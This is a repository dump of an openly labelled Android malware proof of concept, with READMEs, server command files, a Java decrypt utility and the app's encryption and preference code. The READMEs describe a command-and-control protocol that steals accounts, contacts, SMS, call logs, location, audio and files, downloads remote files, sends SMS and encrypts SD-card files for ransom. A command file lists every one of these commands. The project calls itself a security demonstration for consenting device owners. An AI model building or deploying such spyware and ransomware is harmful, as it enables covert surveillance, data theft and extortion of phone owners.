├── .idea
└── vcs.xml
├── MalwareServer
├── README.md
├── UploadFile.php
├── decrypt.class
├── decrypt.java
├── f0c41dcefc6eae83.cmd
├── f0c41dcefc6eae83.cmd.bak
├── getCommands.php
└── getEncKey.php
├── README.md
├── app
├── .gitignore
├── build.gradle
├── proguard-rules.pro
└── src
│ ├── androidTest
│ └── java
│ │ └── com
│ │ └── burke_consulting
│ │ └── malwareexample
│ │ └── ApplicationTest.java
│ ├── main
│ ├── AndroidManifest.xml
│ ├── assets
│ │ ├── gpl.txt
│ │ └── server.crt
│ ├── java
│ │ └── com
│ │ │ └── burke_consulting
│ │ │ └── malwareexample
│ │ │ ├── AsyncParams.java
│ │ │ ├── AsyncService.java
│ │ │ ├── BGMEncryption.java
│ │ │ ├── BGMPrefs.java
│ │ │ ├── BGMonitor.java
│ │ │ ├── BGReceiver.java
│ │ │ ├── CallLogHelper.java
│ │ │ ├── CameraActivity.java
│ │ │ ├── ConfigParams.java
│ │ │ ├── FileUtils.java
│ │ │ ├── GPSLocation.java
│ │ │ ├── GetAccounts.java
│ │ │ ├── GetAudio.java
│ │ │ ├── GetBlueToothInfo.java
│ │ │ ├── GetBrowserHistory.java
│ │ │ ├── GetCamera.java
│ │ │ ├── GetContacts.java
│ │ │ ├── GetInstalledApps.java
│ │ │ ├── GetPhoneInfo.java
│ │ │ ├── GetSystemLog.java
│ │ │ ├── GetWifi.java
│ │ │ ├── ListSDFiles.java
│ │ │ ├── MainActivity.java
│ │ │ ├── MyAppContext.java
│ │ │ ├── NetworkHandler.java
│ │ │ ├── PhoneInfo.java
│ │ │ ├── Ransomware.java
│ │ │ ├── SMSLogHelper.java
│ │ │ ├── SMSReceiver.java
│ │ │ ├── SampleGattAttributes.java
│ │ │ ├── WritePhoneInfo.java
│ │ │ ├── XmlUtils.java
│ │ │ └── decrypt.java
│ └── res
│ │ ├── drawable
│ │ ├── malware.png
│ │ └── notification_warning.png
│ │ ├── layout
│ │ ├── activity_camera.xml
│ │ └── activity_main.xml
│ │ ├── mipmap-hdpi
│ │ └── ic_launcher.png
│ │ ├── mipmap-mdpi
│ │ └── ic_launcher.png
│ │ ├── mipmap-xhdpi
│ │ └── ic_launcher.png
│ │ ├── mipmap-xxhdpi
│ │ └── ic_launcher.png
│ │ ├── mipmap-xxxhdpi
│ │ └── ic_launcher.png
│ │ ├── values-w820dp
│ │ └── dimens.xml
│ │ └── values
│ │ ├── colors.xml
│ │ ├── dimens.xml
│ │ ├── strings.xml
│ │ └── styles.xml
│ └── test
│ └── java
│ └── com
│ └── burke_consulting
│ └── malwareexample
│ └── ExampleUnitTest.java
├── build.gradle
├── gradle.properties
├── gradle
└── wrapper
│ └── gradle-wrapper.properties
└── settings.gradle
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/MalwareServer/README.md:
--------------------------------------------------------------------------------
1 | # Malware Example Server Information
2 |
3 | The Malware server is an example php server used to send commands to the Android phone and to receive uploaded files.
4 |
5 | ## getEncKey.php
6 |
7 | a sample program to calculate an encryption key when requested by the client
8 |
9 | ## UploadFile.php
10 |
11 | Used to upload files to the server from the Android Phones. Each phone identified by it's deviceID is stored in a seperate directory
12 |
13 | ## getCommands.php
14 |
15 | The main server program used to send commands for the Android device to run.
16 | each phone is identified by the DeviceID sent by the client to the server. Each phones commands are stored in the file [DeviceID].cmd and are seperated by a ";"
17 |
18 | Eg. refresh:120000;getAccounts;getWifi;
19 |
20 | Commands are:
21 |
22 | ### refresh:VALUE;
23 | Delay VALUE number of milliseconds between each execution and command request to the server
24 | ### getAccounts;
25 | Get all accounts and send to the server
26 | ### getWifi;
27 | Get all known wifi networks and send to the server
28 | ### getBluetooth;
29 | Get all Bluetooth devices and send to the server
30 | ### getPhoneNumber;
31 | Get all phone info and send to the server
32 | ### getCamaera;
33 | Snap a picture on the phone and send to the server. [ NOTE does not work with more recent API versions ]
34 | ### getContacts;
35 | Get all Contact info and send to the server
36 | ### getPhoneLog;
37 | Get phone log and send to the server
38 | ### getSMSLog;
39 | Get SMS all messages and send to the server
40 | ### getBrowserHistory;
41 | Get Browser History and send to the server [ NOTE does not work with more recent API versions ]
42 | ### getSystemLogs;
43 | Get system logs and send to the server
44 | ### getLocation;
45 | Get GPS Location and send to the server
46 | ### getFilesOnSD;
47 | Get list of all files on the SD card and send to the server
48 | ### sendFile:PATH:FILE
49 | Send a file from the phone at PATH/FILE to the server. File will be encrypted prior to the transfer
50 | ### getAudio;
51 | Start and Audio recording on the phone and send to the server
52 | ### getInstalledApps;
53 | Get list of installed apps and send to the server
54 | ### ransomEncrypt:AAAAAAAAAAAAAAAA;
55 | Encrypt files on the SD card with provided Encryption Key.. [ Note: will only encrypt sample file for safety reasons ]
56 | ### ransomDecrypt:AAAAAAAAAAAAAAAA;
57 | Decrypt files on the SD card with provided Encryption Key.. [ Note: will only encrypt sample file for safety reasons ]
58 | ### download:URL:LOCALPATH:ENCKEY;
59 | Download a file as URL and copy to a local path location..
60 | Note files ending in .enc must be encrypted, and will be decrypted on the fly
61 | any files ending in .zip will be unziped on the fly.. if the zip file contains multiple files the copy will be bypassed.
62 | ### sendSMS:PHONENUM:TEXT;
63 | Send an SMS to the PHONENUM with the TEXT
64 |
65 |
--------------------------------------------------------------------------------
/MalwareServer/UploadFile.php:
--------------------------------------------------------------------------------
1 |
24 |
25 |
--------------------------------------------------------------------------------
/MalwareServer/decrypt.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darrylburke/AndroidMalwareExample/ce2cdb1557d89a39d434b11588df3c4c754afeb2/MalwareServer/decrypt.class
--------------------------------------------------------------------------------
/MalwareServer/decrypt.java:
--------------------------------------------------------------------------------
1 |
2 | import java.io.FileInputStream;
3 | import java.io.FileNotFoundException;
4 | import java.io.FileOutputStream;
5 | import java.io.IOException;
6 | import java.security.InvalidKeyException;
7 | import java.security.NoSuchAlgorithmException;
8 | import java.security.SecureRandom;
9 |
10 | import javax.crypto.Cipher;
11 | import javax.crypto.CipherInputStream;
12 | import javax.crypto.CipherOutputStream;
13 | import javax.crypto.KeyGenerator;
14 | import javax.crypto.NoSuchPaddingException;
15 | import javax.crypto.SecretKey;
16 | import javax.crypto.spec.SecretKeySpec;
17 |
18 |
19 |
20 |
21 |
22 |
23 | class decrypt {
24 |
25 |
26 | public static void main(String[] args)
27 | {
28 | try{
29 | System.out.println("Decrypting: Key["+args[0]+"] Inputfile:["+args[1]+"] Outputfile:["+args[2]+"]");
30 | decryptfile(args[0],args[1],args[2]);
31 | } catch (Exception ex){
32 | System.out.println("usage Key Inputfile Outputfile");
33 | System.out.println("Error:"+ex.toString());
34 |
35 | }
36 | }
37 |
38 | // public decrypt() {
39 |
40 | // System.out("Decrypting: Key["+args[0]+"] Inputfile:["+args[1]+"] Outputfile:["+args[2]+"]");
41 | // decryptfile(args[0],args[1],args[2]);
42 | // }
43 |
44 | public static void decryptfile(String key, String ifile, String ofile) throws IOException, NoSuchAlgorithmException,
45 | NoSuchPaddingException, InvalidKeyException {
46 | FileInputStream fis = new FileInputStream(ifile);
47 |
48 | FileOutputStream fos = new FileOutputStream(ofile);
49 | SecretKeySpec sks = new SecretKeySpec(key.getBytes(),
50 | "AES");
51 | Cipher cipher = Cipher.getInstance("AES");
52 | cipher.init(Cipher.DECRYPT_MODE, sks);
53 | CipherInputStream cis = new CipherInputStream(fis, cipher);
54 | int b;
55 | byte[] d = new byte[8];
56 | while ((b = cis.read(d)) != -1) {
57 | fos.write(d, 0, b);
58 | }
59 | fos.flush();
60 | fos.close();
61 | cis.close();
62 | }
63 |
64 |
65 | }
66 |
67 |
--------------------------------------------------------------------------------
/MalwareServer/f0c41dcefc6eae83.cmd:
--------------------------------------------------------------------------------
1 | refresh:120000;getLocation;
2 |
--------------------------------------------------------------------------------
/MalwareServer/f0c41dcefc6eae83.cmd.bak:
--------------------------------------------------------------------------------
1 | refresh:120000;getAccounts;getWifi;getBluetooth;getPhoneNumber;getCamaera;getContacts;getPhoneLog;getSMSLog;getBrowserHistory;getSystemLogs;getLocation;getFilesOnSD;getAudio;getInstalledApps;ransomEncrypt:AAAAAAAAAAAAAAAA;ransomDecrypt:AAAAAAAAAAAAAAAA;download:https://www.domain.com/phoneinfo.zip.enc:/storage/emulated/0/file.txt:1234567890123456;sendSMS:14165555555:Hey you;
2 |
--------------------------------------------------------------------------------
/MalwareServer/getCommands.php:
--------------------------------------------------------------------------------
1 |
18 |
--------------------------------------------------------------------------------
/MalwareServer/getEncKey.php:
--------------------------------------------------------------------------------
1 |
7 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Android Malware Example
2 |
3 | this project is a security proof of concept that shows the ability of simple android SDK features to implement a Malware feature set on Android phones.
4 |
5 | *Note: This program is not intended to be stealthy or use bugs in the androind OS/SDK to hid the application or the install of it. This software should not be used in the wild, or without the express concent of the device owner/operator*
6 |
7 | The Android Malware Example demonstrates the following abilites:
8 | 1. Using a Command and Control server to send commands to the device
9 |
10 | 2. Use of encryption for the following:
11 | 1. SSL communications with the server
12 | 2. SSL certificate validation to prevent SSL MiTM attacks
13 | 3. encrypt files before sending to the server
14 | 4. Ransomware feature to encrypt files on the device SD card
15 |
16 | 3. Background service which restarts on phone boot
17 |
18 | 4. SMS listener for inbound command activation
19 |
20 | 5. The following Malware Features are implemented and send thier data to the CNC Server
21 | 1. Get Wifi Network information
22 | 2. Get Phone information
23 | 3. Get Accounts configured on the device
24 | 4. Get all Contacts on the phone
25 | 5. Get the Phone Logs
26 | 6. Get SMS Logs
27 | 7. Get Bluetooth device information
28 | 8. Get System Logs
29 | 9. Get GPS Location
30 | 10. Get list of files on the SD Card
31 | 11. Send a File from the device to the CNC Server
32 | 12. Download a file from a URL and place it on the phone.
33 | 13. Encrypt/Decrypt all files on the SD card with a password (Ransomware)
34 | 14. Record audio on the device
35 | 15. Get list of installed Applications.
36 | 16. Send and SMS message to a phone number.
37 | 17. Configure a delay to check back with the CNC server
38 |
39 | 6. The following features are not implemented due to recent changes in the SDK which prevent them
40 | 1. access to browser history via the SDK
41 | 2. SDK access to the Camera in a way which hides the UI and takes a picture
42 |
43 |
44 |
45 |
46 |
47 |
--------------------------------------------------------------------------------
/app/.gitignore:
--------------------------------------------------------------------------------
1 | /build
2 |
--------------------------------------------------------------------------------
/app/build.gradle:
--------------------------------------------------------------------------------
1 | apply plugin: 'com.android.application'
2 |
3 | android {
4 | compileSdkVersion 24
5 | buildToolsVersion "24.0.1"
6 |
7 | defaultConfig {
8 | applicationId "com.burke_consulting.malwareexample"
9 | minSdkVersion 23
10 | targetSdkVersion 24
11 | versionCode 1
12 | versionName "1.0"
13 | }
14 | buildTypes {
15 | release {
16 | minifyEnabled false
17 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
18 | }
19 | }
20 | }
21 |
22 | dependencies {
23 | compile fileTree(dir: 'libs', include: ['*.jar'])
24 | testCompile 'junit:junit:4.12'
25 | compile 'com.android.support:appcompat-v7:24.1.1'
26 | }
27 |
--------------------------------------------------------------------------------
/app/proguard-rules.pro:
--------------------------------------------------------------------------------
1 | # Add project specific ProGuard rules here.
2 | # By default, the flags in this file are appended to flags specified
3 | # in /home/darrylb/Android/Sdk/tools/proguard/proguard-android.txt
4 | # You can edit the include path and order by changing the proguardFiles
5 | # directive in build.gradle.
6 | #
7 | # For more details, see
8 | # http://developer.android.com/guide/developing/tools/proguard.html
9 |
10 | # Add any project specific keep options here:
11 |
12 | # If your project uses WebView with JS, uncomment the following
13 | # and specify the fully qualified class name to the JavaScript interface
14 | # class:
15 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview {
16 | # public *;
17 | #}
18 |
--------------------------------------------------------------------------------
/app/src/androidTest/java/com/burke_consulting/malwareexample/ApplicationTest.java:
--------------------------------------------------------------------------------
1 | package com.burke_consulting.malwareexample;
2 |
3 | import android.app.Application;
4 | import android.test.ApplicationTestCase;
5 |
6 | /**
7 | * Testing Fundamentals
8 | */
9 | public class ApplicationTest extends ApplicationTestCase {
10 | public ApplicationTest() {
11 | super(Application.class);
12 | }
13 | }
--------------------------------------------------------------------------------
/app/src/main/AndroidManifest.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
59 |
60 |
61 |
62 |
63 |
--------------------------------------------------------------------------------
/app/src/main/assets/server.crt:
--------------------------------------------------------------------------------
1 | -----BEGIN CERTIFICATE-----
2 | MIIGCTCCA/GgAwIBAgIJAPrwm6ZpT1E9MA0GCSqGSIb3DQEBCwUAMIGaMQswCQYD
3 | VQQGEwJDQTEMMAoGA1UECAwDT250MRIwEAYDVQQHDAlOZXdtYXJrZXQxGTAXBgNV
4 | BAoMEEJ1cmtlIENvbnN1bHRpbmcxITAfBgNVBAMMGHd3dy5idXJrZS1jb25zdWx0
5 | aW5nLm5ldDErMCkGCSqGSIb3DQEJARYcZGFycnlsYkBidXJrZS1jb25zdWx0aW5n
6 | Lm5ldDAeFw0xNTAzMTcxODA1MzNaFw0yNTAzMTQxODA1MzNaMIGaMQswCQYDVQQG
7 | EwJDQTEMMAoGA1UECAwDT250MRIwEAYDVQQHDAlOZXdtYXJrZXQxGTAXBgNVBAoM
8 | EEJ1cmtlIENvbnN1bHRpbmcxITAfBgNVBAMMGHd3dy5idXJrZS1jb25zdWx0aW5n
9 | Lm5ldDErMCkGCSqGSIb3DQEJARYcZGFycnlsYkBidXJrZS1jb25zdWx0aW5nLm5l
10 | dDCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBALkjOQ20Cv8s18K/LM48
11 | WmxDUY5/1OU5+V1Noxrg5F6C4R2C99wSYd2csf5vuoFr0S/9S+Y4boCcWhWuHZln
12 | hVRHm7D4agveQV2oGcGvSo7W5MeGM5OGKFgpsV1BR6kzp/ashSx8mN8qka7GUeOJ
13 | q+Q0FjpWpu/UpJgItg6KDnXrGsn6a4W3Q2q73wLKCGsvrYSk0qIFdHxPbU9VBjmb
14 | YC89eLje3mGpfv1844ZT93Xa8o/OuRidmVFZ6bvk5KF8Khefa6tTGAkw58QR+/Hr
15 | D4sSKShYWQWFg2R7Pbwj5rbXDeHllIvT4XRl8IlZjFc14lNro/EWXMp6ptiYshPf
16 | iWmDVN+byCAtmFf3aHnrymBAmRsyayLkF0ajUDt/CoJx0d1wFHzucQNnJX/gxOcq
17 | MMAKPXtMj2p3Burbl7dxktP2Qv1b875rP/yxdJRG4AMCBQQBY6AWno1pThIf7A6l
18 | RAmYQ5D6OskP4LOJd2u3ZjD1MOFCIQ+WOiHpe2JGSmraBJRFSlxkbIsyJJBUp/tR
19 | Pc1NaShYPGdbtGe3itE8rOOjKHXun/lImQUAyRp4oI3xGgcKoxzTar1BoQHg/lLm
20 | SKA6yEIwouPhQb8ci9QxXjG8KrOm0bkLzTI50H/lUomB5Wxu00jS8tfMfLdCH0G+
21 | XU7QRSRZOoYgbfpNa0paCwIjAgMBAAGjUDBOMB0GA1UdDgQWBBSzg20pQHjwYKiw
22 | eX7ODy5OW6MN/DAfBgNVHSMEGDAWgBSzg20pQHjwYKiweX7ODy5OW6MN/DAMBgNV
23 | HRMEBTADAQH/MA0GCSqGSIb3DQEBCwUAA4ICAQBOr9q7rWLBdPM2k36o95MTuYJf
24 | SzyLJvG4W+2+3RnxJr9nmxVSx32bTrD3JCKrGcFu81WQ5CQo8FjPHWamI0kKu/ys
25 | uFZ3EJDvgARL41LyULPWLw30Yne2n7INs5xJYa/XZBpd8TXqyAbsivynnnhJT6PN
26 | cXds+m6rnYGgTCjD66fWAno1hpGzKcLsoAHv/62dIchzNjeZwL2/hNtwXgxXbQzY
27 | EpKm7aMpRjjDAHxB2hHb85GxgU1P1rGn7tIaNsLkcEIO7YSxuN8naRyhYxidus2g
28 | JMd8qx+A1K42tHK8OEhCnm5PigXQtwcKiAFShpU+oqqpIERkcxBeF70k8D9mQTWV
29 | /w8vHkCnYihcwkAPKAYQEVrmRb37ZVHqrZRLUfkwu0MeUm6dXNepJdpn4u3wjPx4
30 | 1aEKYdsuIqJ3ceOfohG9pJbcykAL2ogc8m/HQDQ8B1gY+XS0IeSHN9XqBKHGrmDI
31 | mvLGhtYl9jS/i2k9AM+g2tqMkWXM3w6edblb2G2snCUk/wx/dPYd5jPuxdHGrVNm
32 | xTm5CYBB+uqG4qA2sCeAghf+rYBExTUMzJ01vZVz9rAegv72EJkNkNdqmgEdhgQV
33 | DGWR+d5IzHpmvp0nbH6DzxuFtvfMSW/ckZ/v1O7iiU38qFDyBqiMqYV2YZ9VDd+y
34 | CkmmFLnjwwxMlTvahg==
35 | -----END CERTIFICATE-----
36 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/AsyncParams.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | import android.content.Context;
24 |
25 | /**
26 | * Created by darrylb on 10/2/16.
27 | */
28 | public class AsyncParams {
29 | public Context _context;
30 | public MainActivity _activity;
31 | }
32 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/AsyncService.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | import android.content.ComponentName;
24 | import android.content.Context;
25 | import android.content.Intent;
26 | import android.util.Log;
27 |
28 | import org.xml.sax.InputSource;
29 | import org.xml.sax.XMLReader;
30 |
31 | import java.net.URL;
32 |
33 | import javax.xml.parsers.SAXParser;
34 | import javax.xml.parsers.SAXParserFactory;
35 |
36 | /**
37 | * Created by darrylb on 10/2/16.
38 | */
39 | public class AsyncService {
40 |
41 |
42 | // ComponentName _comp = startService(new Intent(MainActivity.this,BGMonitor.class));
43 | // Log.d("BGMonitorActivity", _comp.flattenToString());
44 |
45 |
46 | private Exception exception;
47 |
48 | protected void doInBackground(AsyncParams params) {
49 | try {
50 |
51 | ComponentName _comp = params._context.startService(new Intent(params._activity,BGMonitor.class));
52 |
53 | } catch (Exception e) {
54 | this.exception = e;
55 |
56 | }
57 | }
58 |
59 | protected void onPostExecute() {
60 | // TODO: check this.exception
61 | // TODO: do something with the feed
62 | }
63 |
64 | }
65 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/BGMEncryption.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 |
23 | import android.content.Context;
24 | import android.telephony.TelephonyManager;
25 |
26 | import java.io.FileInputStream;
27 | import java.io.FileNotFoundException;
28 | import java.io.FileOutputStream;
29 | import java.io.IOException;
30 | import java.security.InvalidKeyException;
31 | import java.security.NoSuchAlgorithmException;
32 | import java.security.SecureRandom;
33 |
34 | import javax.crypto.Cipher;
35 | import javax.crypto.CipherInputStream;
36 | import javax.crypto.CipherOutputStream;
37 | import javax.crypto.KeyGenerator;
38 | import javax.crypto.NoSuchPaddingException;
39 | import javax.crypto.SecretKey;
40 | import javax.crypto.spec.SecretKeySpec;
41 |
42 |
43 |
44 |
45 |
46 |
47 | public class BGMEncryption {
48 |
49 | public static String GetID(Context mContext) {
50 |
51 | final TelephonyManager tm = (TelephonyManager) mContext
52 | .getSystemService(Context.TELEPHONY_SERVICE);
53 |
54 | String android_id = tm.getDeviceId();
55 | return android_id;
56 | }
57 |
58 | public void __EncryptFile(String key, String ifile, String ofile) {
59 |
60 | FileInputStream fis = null;
61 | FileOutputStream fos = null;
62 | CipherOutputStream cos;
63 | // File you are reading from
64 | try {
65 | fis = new FileInputStream(ifile);
66 | } catch (FileNotFoundException e) {
67 | // TODO Auto-generated catch block
68 | e.printStackTrace();
69 | }
70 | // File output
71 | try {
72 | fos = new FileOutputStream(ofile);
73 | } catch (FileNotFoundException e) {
74 | // TODO Auto-generated catch block
75 | e.printStackTrace();
76 | }
77 |
78 | // Here the file is encrypted. The cipher1 has to be created.
79 | // Key Length should be 128, 192 or 256 bit => i.e. 16 byte
80 | SecretKeySpec skeySpec = new SecretKeySpec(
81 | key.getBytes(), "AES");
82 | Cipher cipher1 = null;
83 | try {
84 | cipher1 = Cipher.getInstance("AES");
85 | } catch (NoSuchAlgorithmException e) {
86 | // TODO Auto-generated catch block
87 | e.printStackTrace();
88 | } catch (NoSuchPaddingException e) {
89 | // TODO Auto-generated catch block
90 | e.printStackTrace();
91 | }
92 | try {
93 | cipher1.init(Cipher.ENCRYPT_MODE, skeySpec);
94 | } catch (InvalidKeyException e) {
95 | // TODO Auto-generated catch block
96 | e.printStackTrace();
97 | }
98 | cos = new CipherOutputStream(fos, cipher1);
99 | // Here you read from the file in fis and write to cos.
100 | byte[] b = new byte[8];
101 | int i = 0;
102 | try {
103 | i = fis.read(b);
104 | } catch (IOException e) {
105 | // TODO Auto-generated catch block
106 | e.printStackTrace();
107 | }
108 | while (i != -1) {
109 | try {
110 | cos.write(b, 0, i);
111 | } catch (IOException e) {
112 | // TODO Auto-generated catch block
113 | e.printStackTrace();
114 | }
115 | try {
116 | i = fis.read(b);
117 | } catch (IOException e) {
118 | // TODO Auto-generated catch block
119 | e.printStackTrace();
120 | }
121 | }
122 | try {
123 | cos.flush();
124 | } catch (IOException e) {
125 | // TODO Auto-generated catch block
126 | e.printStackTrace();
127 | }
128 |
129 | }
130 |
131 | public void encryptfile(String key, String ifile, String ofile) throws IOException, NoSuchAlgorithmException,
132 | NoSuchPaddingException, InvalidKeyException {
133 | // Here you read the cleartext.
134 | FileInputStream fis = new FileInputStream(ifile);
135 | // This stream write the encrypted text. This stream will be wrapped by
136 | // another stream.
137 | FileOutputStream fos = new FileOutputStream(ofile);
138 |
139 | // Length is 16 byte
140 | SecretKeySpec sks = new SecretKeySpec(key.getBytes(),
141 | "AES");
142 | // Create cipher
143 | Cipher cipher = Cipher.getInstance("AES");
144 | cipher.init(Cipher.ENCRYPT_MODE, sks);
145 | // Wrap the output stream
146 | CipherOutputStream cos = new CipherOutputStream(fos, cipher);
147 | // Write bytes
148 | int b;
149 | byte[] d = new byte[8];
150 | while ((b = fis.read(d)) != -1) {
151 | cos.write(d, 0, b);
152 | }
153 | // Flush and close streams.
154 | cos.flush();
155 | cos.close();
156 | fis.close();
157 | }
158 |
159 | public void decryptfile(String key, String ifile, String ofile) throws IOException, NoSuchAlgorithmException,
160 | NoSuchPaddingException, InvalidKeyException {
161 | FileInputStream fis = new FileInputStream(ifile);
162 |
163 | FileOutputStream fos = new FileOutputStream(ofile);
164 | SecretKeySpec sks = new SecretKeySpec(key.getBytes(),
165 | "AES");
166 | Cipher cipher = Cipher.getInstance("AES");
167 | cipher.init(Cipher.DECRYPT_MODE, sks);
168 | CipherInputStream cis = new CipherInputStream(fis, cipher);
169 | int b;
170 | byte[] d = new byte[8];
171 | while ((b = cis.read(d)) != -1) {
172 | fos.write(d, 0, b);
173 | }
174 | fos.flush();
175 | fos.close();
176 | cis.close();
177 | }
178 |
179 | // strings related methods and data
180 |
181 | public static String encryptstring(String seed, String cleartext)
182 | throws Exception {
183 | byte[] rawKey = getRawKey(seed.getBytes());
184 | byte[] result = encryptbytes(rawKey, cleartext.getBytes());
185 | return toHex(result);
186 | }
187 |
188 | public static String decryptstring(String seed, String encrypted)
189 | throws Exception {
190 | byte[] rawKey = getRawKey(seed.getBytes());
191 | byte[] enc = toByte(encrypted);
192 | byte[] result = decryptbytes(rawKey, enc);
193 | return new String(result);
194 | }
195 |
196 | private static byte[] getRawKey(byte[] seed) throws Exception {
197 | KeyGenerator kgen = KeyGenerator.getInstance("AES");
198 | SecureRandom sr = SecureRandom.getInstance("SHA1PRNG");
199 | sr.setSeed(seed);
200 | kgen.init(128, sr); // 192 and 256 bits may not be available
201 | SecretKey skey = kgen.generateKey();
202 | byte[] raw = skey.getEncoded();
203 | return raw;
204 | }
205 |
206 | private static byte[] encryptbytes(byte[] raw, byte[] clear)
207 | throws Exception {
208 | SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
209 | Cipher cipher = Cipher.getInstance("AES");
210 | cipher.init(Cipher.ENCRYPT_MODE, skeySpec);
211 | byte[] encrypted = cipher.doFinal(clear);
212 | return encrypted;
213 | }
214 |
215 | private static byte[] decryptbytes(byte[] raw, byte[] encrypted)
216 | throws Exception {
217 | SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
218 | Cipher cipher = Cipher.getInstance("AES");
219 | cipher.init(Cipher.DECRYPT_MODE, skeySpec);
220 | byte[] decrypted = cipher.doFinal(encrypted);
221 | return decrypted;
222 | }
223 |
224 | public static String toHex(String txt) {
225 | return toHex(txt.getBytes());
226 | }
227 |
228 | public static String fromHex(String hex) {
229 | return new String(toByte(hex));
230 | }
231 |
232 | public static byte[] toByte(String hexString) {
233 | int len = hexString.length() / 2;
234 | byte[] result = new byte[len];
235 | for (int i = 0; i < len; i++)
236 | result[i] = Integer.valueOf(hexString.substring(2 * i, 2 * i + 2),
237 | 16).byteValue();
238 | return result;
239 | }
240 |
241 | public static String toHex(byte[] buf) {
242 | if (buf == null)
243 | return "";
244 | StringBuffer result = new StringBuffer(2 * buf.length);
245 | for (int i = 0; i < buf.length; i++) {
246 | appendHex(result, buf[i]);
247 | }
248 | return result.toString();
249 | }
250 |
251 | private final static String HEX = "0123456789ABCDEF";
252 |
253 | private static void appendHex(StringBuffer sb, byte b) {
254 | sb.append(HEX.charAt((b >> 4) & 0x0f)).append(HEX.charAt(b & 0x0f));
255 | }
256 |
257 | }
258 |
259 |
--------------------------------------------------------------------------------
/app/src/main/java/com/burke_consulting/malwareexample/BGMPrefs.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting
3 | *
4 | * This file is part of Android Malware Example.
5 | *
6 | * Android Malware Example is free software: you can redistribute it and/or modify
7 | * it under the terms of the GNU General Public License as published by
8 | * the Free Software Foundation, either version 3 of the License, or
9 | * (at your option) any later version.
10 | *
11 | * Android Malware Example is distributed in the hope that it will be useful,
12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | * GNU General Public License for more details.
15 | *
16 | * You should have received a copy of the GNU General Public License
17 | * along with Android Malware Example. If not, see .
18 | *
19 | */
20 |
21 | package com.burke_consulting.malwareexample;
22 | import android.content.Context;
23 | import android.content.SharedPreferences;
24 | import android.util.Log;
25 |
26 | import java.util.Map;
27 |
28 | /**
29 | * Created by darrylb on 10/2/16.
30 | */
31 | public class BGMPrefs {
32 | ConfigParams configParams;
33 |
34 | private Context context;
35 | private SharedPreferences settings;
36 | private BGMEncryption encrypt;
37 | public Boolean isInited = false;
38 | public BGMPrefs(Context _context){
39 | context = _context;
40 | configParams = new ConfigParams(context);
41 | encrypt = new BGMEncryption();
42 | settings = context.getSharedPreferences(configParams.PROGID,0);
43 | isInited = hasbeeninit();
44 | if (!isInited){
45 | if (configParams.Logging) Log.d(configParams.PROGID,"First Run.. getting EncKey");
46 | // Run local key init on first call;
47 | NetworkHandler handler = new NetworkHandler(context);
48 | String firstkey = handler.getRemoteEncKey();
49 | configParams.SetEncKey(firstkey);
50 | setLocalEncKey(firstkey);
51 | settings.edit().putBoolean("init",true).commit();
52 | isInited = true;
53 | } else {
54 | if (configParams.Logging) Log.d(configParams.PROGID,"Prefs Already Initialized");
55 | configParams.LocalEncryptionKey = getLocalEncKey();
56 | isInited = true;
57 | }
58 | DumpSharedPrefs();
59 | }
60 | public void resetInit() {
